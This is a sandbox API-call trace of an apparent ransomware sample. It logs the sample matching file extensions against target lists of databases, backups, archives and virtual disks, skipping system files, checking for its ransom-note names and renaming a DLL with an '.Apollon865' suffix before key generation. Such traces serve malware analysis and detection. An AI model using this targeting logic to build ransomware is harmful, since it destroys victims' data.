	[0082.660] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0082.660] lstrlenW (lpString="btr") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0082.660] lstrlenW (lpString="cat") returned 3
	[0082.660] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0082.661] lstrlenW (lpString="cdb") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0082.661] lstrlenW (lpString="ckp") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0082.661] lstrlenW (lpString="cma") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0082.661] lstrlenW (lpString="cpd") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0082.661] lstrlenW (lpString="dacpac") returned 6
	[0082.661] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0082.661] lstrlenW (lpString="dad") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0082.661] lstrlenW (lpString="dadiagrams") returned 10
	[0082.661] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0082.661] lstrlenW (lpString="daschema") returned 8
	[0082.661] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0082.661] lstrlenW (lpString="db-journal") returned 10
	[0082.661] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0082.661] lstrlenW (lpString="db-shm") returned 6
	[0082.661] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0082.661] lstrlenW (lpString="db-wal") returned 6
	[0082.661] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0082.661] lstrlenW (lpString="dbc") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0082.661] lstrlenW (lpString="dbs") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0082.661] lstrlenW (lpString="dbt") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0082.661] lstrlenW (lpString="dbv") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0082.661] lstrlenW (lpString="dbx") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0082.661] lstrlenW (lpString="dcb") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0082.661] lstrlenW (lpString="dct") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0082.661] lstrlenW (lpString="dcx") returned 3
	[0082.661] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0082.662] lstrlenW (lpString="ddl") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0082.662] lstrlenW (lpString="dlis") returned 4
	[0082.662] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0082.662] lstrlenW (lpString="dp1") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0082.662] lstrlenW (lpString="dqy") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0082.662] lstrlenW (lpString="dsk") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0082.662] lstrlenW (lpString="dsn") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0082.662] lstrlenW (lpString="dtsx") returned 4
	[0082.662] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0082.662] lstrlenW (lpString="dxl") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0082.662] lstrlenW (lpString="eco") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0082.662] lstrlenW (lpString="ecx") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0082.662] lstrlenW (lpString="edb") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0082.662] lstrlenW (lpString="epim") returned 4
	[0082.662] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0082.662] lstrlenW (lpString="fcd") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0082.662] lstrlenW (lpString="fdb") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0082.662] lstrlenW (lpString="fic") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0082.662] lstrlenW (lpString="flexolibrary") returned 12
	[0082.662] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0082.662] lstrlenW (lpString="fm5") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0082.662] lstrlenW (lpString="fmp") returned 3
	[0082.662] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0082.662] lstrlenW (lpString="fmp12") returned 5
	[0082.662] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0082.662] lstrlenW (lpString="fmpsl") returned 5
	[0082.663] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0082.663] lstrlenW (lpString="fol") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0082.663] lstrlenW (lpString="fp3") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0082.663] lstrlenW (lpString="fp4") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0082.663] lstrlenW (lpString="fp5") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0082.663] lstrlenW (lpString="fp7") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0082.663] lstrlenW (lpString="fpt") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0082.663] lstrlenW (lpString="frm") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0082.663] lstrlenW (lpString="gdb") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.663] lstrlenW (lpString="gdb") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0082.663] lstrlenW (lpString="grdb") returned 4
	[0082.663] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0082.663] lstrlenW (lpString="gwi") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0082.663] lstrlenW (lpString="hdb") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0082.663] lstrlenW (lpString="his") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0082.663] lstrlenW (lpString="ib") returned 2
	[0082.663] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0082.663] lstrlenW (lpString="idb") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0082.663] lstrlenW (lpString="ihx") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0082.663] lstrlenW (lpString="itdb") returned 4
	[0082.663] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0082.663] lstrlenW (lpString="itw") returned 3
	[0082.663] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0082.663] lstrlenW (lpString="jet") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0082.664] lstrlenW (lpString="jtx") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0082.664] lstrlenW (lpString="kdb") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0082.664] lstrlenW (lpString="kexi") returned 4
	[0082.664] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0082.664] lstrlenW (lpString="kexic") returned 5
	[0082.664] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0082.664] lstrlenW (lpString="kexis") returned 5
	[0082.664] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0082.664] lstrlenW (lpString="lgc") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0082.664] lstrlenW (lpString="lwx") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0082.664] lstrlenW (lpString="maf") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0082.664] lstrlenW (lpString="maq") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0082.664] lstrlenW (lpString="mar") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0082.664] lstrlenW (lpString="marshal") returned 7
	[0082.664] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0082.664] lstrlenW (lpString="mas") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0082.664] lstrlenW (lpString="mav") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0082.664] lstrlenW (lpString="maw") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0082.664] lstrlenW (lpString="mdbhtml") returned 7
	[0082.664] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0082.664] lstrlenW (lpString="mdn") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0082.664] lstrlenW (lpString="mdt") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0082.664] lstrlenW (lpString="mfd") returned 3
	[0082.664] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0082.664] lstrlenW (lpString="mpd") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0082.665] lstrlenW (lpString="mrg") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0082.665] lstrlenW (lpString="mud") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0082.665] lstrlenW (lpString="mwb") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0082.665] lstrlenW (lpString="myd") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0082.665] lstrlenW (lpString="ndf") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0082.665] lstrlenW (lpString="nnt") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0082.665] lstrlenW (lpString="nrmlib") returned 6
	[0082.665] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0082.665] lstrlenW (lpString="ns2") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0082.665] lstrlenW (lpString="ns3") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0082.665] lstrlenW (lpString="ns4") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0082.665] lstrlenW (lpString="nsf") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0082.665] lstrlenW (lpString="nv") returned 2
	[0082.665] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0082.665] lstrlenW (lpString="nv2") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0082.665] lstrlenW (lpString="nwdb") returned 4
	[0082.665] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0082.665] lstrlenW (lpString="nyf") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0082.665] lstrlenW (lpString="odb") returned 3
	[0082.665] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.666] lstrlenW (lpString="odb") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0082.666] lstrlenW (lpString="oqy") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0082.666] lstrlenW (lpString="ora") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0082.666] lstrlenW (lpString="orx") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0082.666] lstrlenW (lpString="owc") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0082.666] lstrlenW (lpString="p96") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0082.666] lstrlenW (lpString="p97") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0082.666] lstrlenW (lpString="pan") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0082.666] lstrlenW (lpString="pdb") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0082.666] lstrlenW (lpString="pdm") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0082.666] lstrlenW (lpString="pnz") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0082.666] lstrlenW (lpString="qry") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0082.666] lstrlenW (lpString="qvd") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0082.666] lstrlenW (lpString="rbf") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0082.666] lstrlenW (lpString="rctd") returned 4
	[0082.666] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0082.666] lstrlenW (lpString="rod") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0082.666] lstrlenW (lpString="rodx") returned 4
	[0082.666] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0082.666] lstrlenW (lpString="rpd") returned 3
	[0082.666] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0082.666] lstrlenW (lpString="rsd") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0082.667] lstrlenW (lpString="sas7bdat") returned 8
	[0082.667] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0082.667] lstrlenW (lpString="sbf") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0082.667] lstrlenW (lpString="scx") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0082.667] lstrlenW (lpString="sdb") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0082.667] lstrlenW (lpString="sdc") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0082.667] lstrlenW (lpString="sdf") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0082.667] lstrlenW (lpString="sis") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0082.667] lstrlenW (lpString="spq") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0082.667] lstrlenW (lpString="te") returned 2
	[0082.667] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0082.667] lstrlenW (lpString="teacher") returned 7
	[0082.667] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0082.667] lstrlenW (lpString="tmd") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0082.667] lstrlenW (lpString="tps") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0082.667] lstrlenW (lpString="trc") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.667] lstrlenW (lpString="trc") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0082.667] lstrlenW (lpString="trm") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0082.667] lstrlenW (lpString="udb") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0082.667] lstrlenW (lpString="udl") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0082.667] lstrlenW (lpString="usr") returned 3
	[0082.667] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0082.668] lstrlenW (lpString="v12") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0082.668] lstrlenW (lpString="vis") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0082.668] lstrlenW (lpString="vpd") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0082.668] lstrlenW (lpString="vvv") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0082.668] lstrlenW (lpString="wdb") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0082.668] lstrlenW (lpString="wmdb") returned 4
	[0082.668] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0082.668] lstrlenW (lpString="wrk") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0082.668] lstrlenW (lpString="xdb") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0082.668] lstrlenW (lpString="xld") returned 3
	[0082.668] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0082.668] lstrlenW (lpString="xmlff") returned 5
	[0082.668] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0082.668] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.Apollon865") returned 83
	[0082.668] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0082.669] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\envelopr.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0082.670] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=14688) returned 1
	[0082.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0082.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0082.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0082.670] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0082.671] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0082.671] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.671] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c60, lpName=0x0) returned 0x15c
	[0082.673] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c60) returned 0x100000
	[0082.694] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0082.707] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0082.707] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0082.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0082.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0082.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0082.709] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0082.709] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0082.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0082.713] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0082.714] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0082.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0082.715] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0082.715] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0082.716] CloseHandle (hObject=0x15c) returned 1
	[0082.716] CloseHandle (hObject=0x9c) returned 1
	[0082.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0082.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0082.716] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0082.718] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd48e100, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbd48e100, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0xbf60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.DLL.trx_dll", cAlternateFileName="GRINTL~1.TRX")) returned 1
	[0082.718] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0082.719] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0082.719] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".") returned 1
	[0082.719] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="..") returned 1
	[0082.719] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="windows") returned -1
	[0082.719] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0082.720] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="temp") returned -1
	[0082.720] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0082.720] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="boot") returned 1
	[0082.721] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0082.721] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0082.722] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="perflogs") returned -1
	[0082.722] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0082.722] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0082.722] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\ENVELOPR.DLL.trx_dll") returned 72
	[0082.722] lstrcpyW (in: lpString1=0x119e670, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0082.722] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0082.723] lstrlenW (lpString="Apollon865") returned 10
	[0082.723] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0082.723] lstrlenW (lpString=".dll") returned 4
	[0082.724] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0082.724] lstrlenW (lpString=".lnk") returned 4
	[0082.725] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0082.725] lstrlenW (lpString=".ini") returned 4
	[0082.725] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0082.725] lstrlenW (lpString=".sys") returned 4
	[0082.725] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0082.725] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0082.726] lstrlenW (lpString="bak") returned 3
	[0082.726] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0082.727] lstrlenW (lpString="ba_") returned 3
	[0082.734] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0082.734] lstrlenW (lpString="dbb") returned 3
	[0082.735] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0082.736] lstrlenW (lpString="vmdk") returned 4
	[0082.737] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0082.737] lstrlenW (lpString="rar") returned 3
	[0082.737] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0082.737] lstrlenW (lpString="zip") returned 3
	[0082.737] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0082.737] lstrlenW (lpString="tgz") returned 3
	[0082.737] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0082.737] lstrlenW (lpString="vbox") returned 4
	[0082.737] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0082.737] lstrlenW (lpString="vdi") returned 3
	[0082.737] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0082.737] lstrlenW (lpString="vhd") returned 3
	[0082.739] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0082.740] lstrlenW (lpString="vhdx") returned 4
	[0082.740] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0082.740] lstrlenW (lpString="avhd") returned 4
	[0082.740] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0082.740] lstrlenW (lpString="db") returned 2
	[0082.740] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0082.740] lstrlenW (lpString="db2") returned 3
	[0082.740] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0082.740] lstrlenW (lpString="db3") returned 3
	[0082.740] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0082.741] lstrlenW (lpString="dbf") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0082.741] lstrlenW (lpString="mdf") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0082.741] lstrlenW (lpString="mdb") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0082.741] lstrlenW (lpString="sql") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0082.741] lstrlenW (lpString="sqlite") returned 6
	[0082.741] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0082.741] lstrlenW (lpString="sqlite3") returned 7
	[0082.741] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0082.741] lstrlenW (lpString="sqlitedb") returned 8
	[0082.741] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0082.741] lstrlenW (lpString="xml") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0082.741] lstrlenW (lpString="$er") returned 3
	[0082.741] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0082.741] lstrlenW (lpString="4dd") returned 3
